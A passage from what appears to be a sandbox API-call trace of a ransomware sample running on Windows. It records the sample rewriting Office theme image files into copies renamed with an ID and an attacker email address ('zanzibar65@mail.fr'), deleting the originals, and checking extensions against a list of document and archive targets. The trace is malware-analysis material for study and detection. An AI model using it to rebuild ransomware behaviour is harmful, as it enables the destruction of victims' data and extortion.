dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.826] GetLastError () returned 0x0 [0042.826] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x785, lpOverlapped=0x0) returned 1 [0042.828] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x790, lpOverlapped=0x0) returned 1 [0042.829] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.829] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.829] SetEndOfFile (hFile=0x20c) returned 1 [0042.829] CloseHandle (hObject=0x20c) returned 1 [0042.830] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.830] SetEndOfFile (hFile=0x1f8) returned 1 [0042.830] CloseHandle (hObject=0x1f8) returned 1 [0042.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.831] lstrlenW (lpString=".doc") returned 4 [0042.831] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.831] lstrlenW (lpString=".docx") returned 5 [0042.831] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.831] lstrlenW (lpString=".pdf") returned 4 [0042.831] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.831] lstrlenW (lpString=".xls") returned 4 [0042.831] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.831] lstrlenW (lpString=".xlsx") returned 5 [0042.831] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.831] lstrlenW (lpString=".ppt") returned 4 [0042.831] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.831] lstrlenW (lpString=".zip") returned 4 [0042.831] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.831] lstrlenW (lpString=".rar") returned 4 [0042.831] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.831] lstrlenW (lpString=".bz2") returned 4 [0042.831] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.831] lstrlenW (lpString=".7z") returned 3 [0042.832] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.832] lstrlenW (lpString=".dbf") returned 4 [0042.832] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.832] lstrlenW (lpString=".1cd") returned 4 [0042.832] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.832] lstrlenW (lpString=".jpg") returned 4 [0042.832] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.832] lstrlenW (lpString=".doc") returned 4 [0042.832] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.832] lstrlenW (lpString=".docx") returned 5 [0042.832] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.832] lstrlenW (lpString=".pdf") returned 4 [0042.832] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.832] lstrlenW (lpString=".xls") returned 4 [0042.832] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.832] lstrlenW (lpString=".xlsx") returned 5 [0042.832] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.832] lstrlenW (lpString=".ppt") returned 4 [0042.833] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.833] lstrlenW (lpString=".zip") returned 4 [0042.833] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.833] lstrlenW (lpString=".rar") returned 4 [0042.833] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.833] lstrlenW (lpString=".bz2") returned 4 [0042.833] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.833] lstrlenW (lpString=".7z") returned 3 [0042.833] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.833] lstrlenW (lpString=".dbf") returned 4 [0042.833] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.833] lstrlenW (lpString=".1cd") returned 4 [0042.833] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0042.833] lstrlenW (lpString=".jpg") returned 4 [0042.833] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.833] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0042.833] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.834] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=27407) returned 1 [0042.834] CloseHandle (hObject=0x1f8) returned 1 [0042.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0042.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.834] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.835] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.835] GetLastError () returned 0x0 [0042.835] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0042.837] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0042.838] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.838] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.838] SetEndOfFile (hFile=0x20c) returned 1 [0042.838] CloseHandle (hObject=0x20c) returned 1 [0042.839] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.839] SetEndOfFile (hFile=0x1f8) returned 1 [0042.840] CloseHandle (hObject=0x1f8) returned 1 [0042.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.840] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0042.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.840] lstrlenW (lpString=".doc") returned 4 [0042.840] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.840] lstrlenW (lpString=".docx") returned 5 [0042.840] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.840] lstrlenW (lpString=".pdf") returned 4 [0042.840] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.840] lstrlenW (lpString=".xls") returned 4 [0042.840] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.840] lstrlenW (lpString=".xlsx") returned 5 [0042.840] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.840] lstrlenW (lpString=".ppt") returned 4 [0042.840] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".zip") returned 4 [0042.841] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.841] lstrlenW (lpString=".rar") returned 4 [0042.841] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.841] lstrlenW (lpString=".bz2") returned 4 [0042.841] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString=".7z") returned 3 [0042.841] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".dbf") returned 4 [0042.841] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".1cd") returned 4 [0042.841] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".jpg") returned 4 [0042.841] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".doc") returned 4 [0042.841] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString=".docx") returned 5 [0042.841] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.841] lstrlenW (lpString=".pdf") returned 4 [0042.841] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.841] lstrlenW (lpString=".xls") returned 4 [0042.841] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.841] lstrlenW (lpString=".xlsx") returned 5 [0042.841] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.841] lstrlenW (lpString=".ppt") returned 4 [0042.841] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.841] lstrlenW (lpString=".zip") returned 4 [0042.842] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.842] lstrlenW (lpString=".rar") returned 4 [0042.842] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.842] lstrlenW (lpString=".bz2") returned 4 [0042.842] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.842] lstrlenW (lpString=".7z") returned 3 [0042.842] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.842] lstrlenW (lpString=".dbf") returned 4 [0042.842] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.842] lstrlenW (lpString=".1cd") returned 4 [0042.842] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0042.842] lstrlenW (lpString=".jpg") returned 4 [0042.842] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.842] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0042.842] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.842] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3479) returned 1 [0042.842] CloseHandle (hObject=0x1f8) returned 1 [0042.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0042.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.843] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.843] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0042.845] GetLastError () returned 0x0 [0042.845] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xd97, lpOverlapped=0x0) returned 1 [0042.846] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0042.847] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.847] WriteFile (in: hFile=0x20c, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.847] SetEndOfFile (hFile=0x20c) returned 1 [0042.847] CloseHandle (hObject=0x20c) returned 1 [0042.848] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.848] SetEndOfFile (hFile=0x1f8) returned 1 [0042.849] CloseHandle (hObject=0x1f8) returned 1 [0042.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0042.849] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0042.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.849] lstrlenW (lpString=".doc") returned 4 [0042.849] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.849] lstrlenW (lpString=".docx") returned 5 [0042.849] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.849] lstrlenW (lpString=".pdf") returned 4 [0042.849] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.849] lstrlenW (lpString=".xls") returned 4 [0042.849] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.849] lstrlenW (lpString=".xlsx") returned 5 [0042.849] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.849] lstrlenW (lpString=".ppt") returned 4 [0042.849] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString=".zip") returned 4 [0042.850] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString=".rar") returned 4 [0042.850] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString=".bz2") returned 4 [0042.850] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.850] lstrlenW (lpString=".7z") returned 3 [0042.850] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString=".dbf") returned 4 [0042.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString=".1cd") returned 4 [0042.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString=".jpg") returned 4 [0042.850] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.850] lstrlenW (lpString=".doc") returned 4 [0042.850] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.850] lstrlenW (lpString=".docx") returned 5 [0042.850] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.850] lstrlenW (lpString=".pdf") returned 4 [0042.850] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString=".xls") returned 4 [0042.850] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.850] lstrlenW (lpString=".xlsx") returned 5 [0042.850] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.850] lstrlenW (lpString=".ppt") returned 4 [0042.851] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.851] lstrlenW (lpString=".zip") returned 4 [0042.851] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.851] lstrlenW (lpString=".rar") returned 4 [0042.851] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.851] lstrlenW (lpString=".bz2") returned 4 [0042.851] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.851] lstrlenW (lpString=".7z") returned 3 [0042.851] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.851] lstrlenW (lpString=".dbf") returned 4 [0042.851] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.851] lstrlenW (lpString=".1cd") returned 4 [0042.851] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0042.851] lstrlenW (lpString=".jpg") returned 4 [0042.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.851] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0042.851] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.852] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=31837) returned 1 [0042.852] CloseHandle (hObject=0x1f8) returned 1 [0042.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0042.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0042.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0042.852] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.852] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 